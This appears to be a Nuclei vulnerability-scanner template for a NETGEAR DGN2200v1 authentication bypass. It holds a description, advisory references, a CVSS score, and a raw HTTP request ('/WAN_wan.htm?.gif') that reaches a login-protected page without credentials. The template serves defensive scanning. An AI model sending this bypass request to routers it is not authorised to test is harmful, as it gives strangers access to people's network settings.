id: netgear-router-auth-bypass

info:
  name: NETGEAR DGN2200v1 - Authentication Bypass
  author: gy741
  severity: high
  description: NETGEAR DGN2200v1 router contains an authentication bypass vulnerability. It does not require authentication if a page has ".jpg", ".gif", or "ess_" substrings but matches the entire URL. Any page on the device can therefore be accessed, including those that require authentication, by appending a GET variable with the relevant substring.
  reference:
    - https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
    - https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cwe-id: CWE-287
  metadata:
    max-request: 2
  tags: netgear,auth-bypass,router

http:
  - raw:
      - |
        GET /WAN_wan.htm?.gif HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /WAN_wan.htm?.gif HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<title>WAN Setup</title>"

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